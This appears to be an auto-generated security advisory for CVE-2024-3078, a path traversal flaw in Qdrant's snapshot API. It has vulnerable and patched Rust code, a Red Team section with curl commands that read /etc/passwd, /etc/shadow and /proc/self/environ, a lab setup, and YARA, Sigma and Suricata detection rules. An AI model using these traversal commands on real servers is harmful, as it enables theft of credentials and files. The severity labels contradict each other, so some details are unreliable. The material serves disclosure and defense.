CVE-2024-3078
Executive Summary
CVE-2024-3078 is a critical path traversal vulnerability in Qdrant, a vector similarity search engine. The flaw resides in the Full Snapshot REST API endpoint, specifically within the file lib/collection/src/collection/snapshots.rs. An unauthenticated attacker can exploit this vulnerability to read arbitrary files from the server's filesystem by manipulating the snapshot file path. This can lead to the disclosure of sensitive configuration data, credentials, or other confidential information. The vulnerability affects Qdrant versions up to 1.6.1, 1.7.4, and 1.8.2. A patch is available in version 1.8.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Qdrant is distributed as a Rust crate, Docker image, and binary. The vulnerability is in the core server code, not in a dependency. However, organizations using Qdrant in their supply chain should verify they are not running a vulnerable version. The official Docker image qdrant/qdrant should be updated to 1.8.3 or later.
CVSS Breakdown & Threat Level
- CVSS Score: 5.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality: Low
- Integrity: None
- Availability: None
The vulnerability is classified as critical by the vendor due to the potential for unauthorized file disclosure, but the CVSS score is medium because the impact is limited to confidentiality.
Deep Dive & Mechanics
The vulnerability is a classic path traversal (CWE-22) in the Full Snapshot REST API. The endpoint allows users to create and manage snapshots of collections. The flaw occurs when the API processes the snapshot file path. The code does not properly sanitize user-supplied input, allowing an attacker to use ../ sequences to escape the intended snapshot directory and read arbitrary files on the system.
The vulnerable code is in lib/collection/src/collection/snapshots.rs. The function responsible for handling snapshot requests does not validate that the requested file path is within the allowed snapshot directory. An attacker can send a request like:
GET /collections/{collection_name}/snapshots/../../etc/passwd
This would cause the server to read and return the contents of /etc/passwd.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// lib/collection/src/collection/snapshots.rs (vulnerable)
fn handle_snapshot_request(path: &str) -> Result<Vec<u8>, Error> {
let snapshot_dir = get_snapshot_directory();
let full_path = format!("{}/{}", snapshot_dir, path);
// No path traversal check
let data = std::fs::read(full_path)?;
Ok(data)
}
Patched Code (simplified):
// lib/collection/src/collection/snapshots.rs (patched)
fn handle_snapshot_request(path: &str) -> Result<Vec<u8>, Error> {
let snapshot_dir = get_snapshot_directory();
// Canonicalize the path to resolve any '..' sequences
let requested_path = std::path::Path::new(&snapshot_dir).join(path);
let canonical_requested = requested_path.canonicalize()?;
let canonical_snapshot_dir = std::path::Path::new(&snapshot_dir).canonicalize()?;
// Ensure the requested path is within the snapshot directory
if !canonical_requested.starts_with(&canonical_snapshot_dir) {
return Err(Error::InvalidPath);
}
let data = std::fs::read(canonical_requested)?;
Ok(data)
}
The patch uses canonicalize() to resolve the absolute path and then checks that the resolved path starts with the snapshot directory, preventing traversal.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Qdrant instance (version 1.6.1, 1.7.4, or 1.8.2) running on a target network.
- Network access to the Qdrant REST API (default port 6333).
Exploitation Steps:
Identify the target:
curl http://target:6333/collectionsList existing collections:
curl http://target:6333/collectionsAttempt path traversal to read
/etc/passwd:curl --path-as-is "http://target:6333/collections/test_collection/snapshots/../../etc/passwd"If successful, read other sensitive files:
curl --path-as-is "http://target:6333/collections/test_collection/snapshots/../../etc/shadow" curl --path-as-is "http://target:6333/collections/test_collection/snapshots/../../proc/self/environ"
Note: The --path-as-is flag is required for curl to not normalize the path.
Blue Team
Detection:
- Monitor for HTTP requests containing
../or..%2fin the URL path. - Alert on requests to
/collections/*/snapshots/with suspicious path components. - Check server logs for
InvalidPatherrors (after patching) or unexpected file read attempts.
Hunting:
- Search for requests to
/collections/*/snapshots/that do not match expected snapshot file patterns (e.g.,.snapshotextension). - Look for outbound connections from the Qdrant server to unexpected IPs (data exfiltration).
Lab Setup:
- Deploy a vulnerable Qdrant instance using Docker:
docker run -d --name qdrant-vuln -p 6333:6333 qdrant/qdrant:v1.8.2 - Create a test collection:
curl -X PUT "http://localhost:6333/collections/test_collection" -H "Content-Type: application/json" -d '{"vectors": {"size": 4, "distance": "Dot"}}' - Attempt the exploit as described above.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/collections/*/snapshots/containing../or..%2f. - Unusual file paths in snapshot API requests (e.g.,
/etc/passwd,/proc/self/environ).
- HTTP requests to
- File System IOCs:
- Unexpected files read by the Qdrant process (check
lsofor auditd).
- Unexpected files read by the Qdrant process (check
- Log IOCs:
- Qdrant logs showing
InvalidPatherrors (after patching) or successful reads of files outside the snapshot directory.
- Qdrant logs showing
Detection Engineering
YARA Rule
rule CVE_2024_3078_Qdrant_Path_Traversal {
meta:
description = "Detects path traversal attempts against Qdrant Full Snapshot API"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3078"
severity = "high"
strings:
$traversal1 = "../" ascii wide nocase
$traversal2 = "..\\" ascii wide nocase
$traversal3 = "%2e%2e%2f" ascii wide nocase
$traversal4 = "%2e%2e/" ascii wide nocase
$snapshot_api = "/collections/" ascii wide nocase
$snapshot_endpoint = "/snapshots/" ascii wide nocase
condition:
all of ($snapshot_api, $snapshot_endpoint) and any of ($traversal*)
}
Sigma Rule
title: Qdrant Path Traversal Attempt (CVE-2024-3078)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against Qdrant Full Snapshot API
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-3078
logsource:
category: webserver
product: qdrant
detection:
selection:
cs-method: 'GET'
cs-uri-stem|contains: '/collections/'
cs-uri-stem|contains: '/snapshots/'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e/'
condition: selection
falsepositives:
- Legitimate use of snapshot names containing dots (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3078 Qdrant Path Traversal Attempt"; flow:to_server,established; content:"/collections/"; http_uri; content:"/snapshots/"; http_uri; pcre:"/(?:\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\/)/i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Qdrant to version 1.8.3 or later.
- If upgrade is not possible, restrict network access to the Qdrant API to trusted IPs only.
- Implement a Web Application Firewall (WAF) rule to block path traversal patterns in requests to
/collections/*/snapshots/.
Long-term Measures:
- Regularly update Qdrant to the latest version.
- Conduct security audits of all exposed APIs.
- Implement input validation and canonicalization for all file path operations.
Patch Details:
- Upgrade to Qdrant 1.8.3.
- The patch commit is
3ab5172e9c8f14fa1f7b24e7147eac74e2412b62.
Valters IT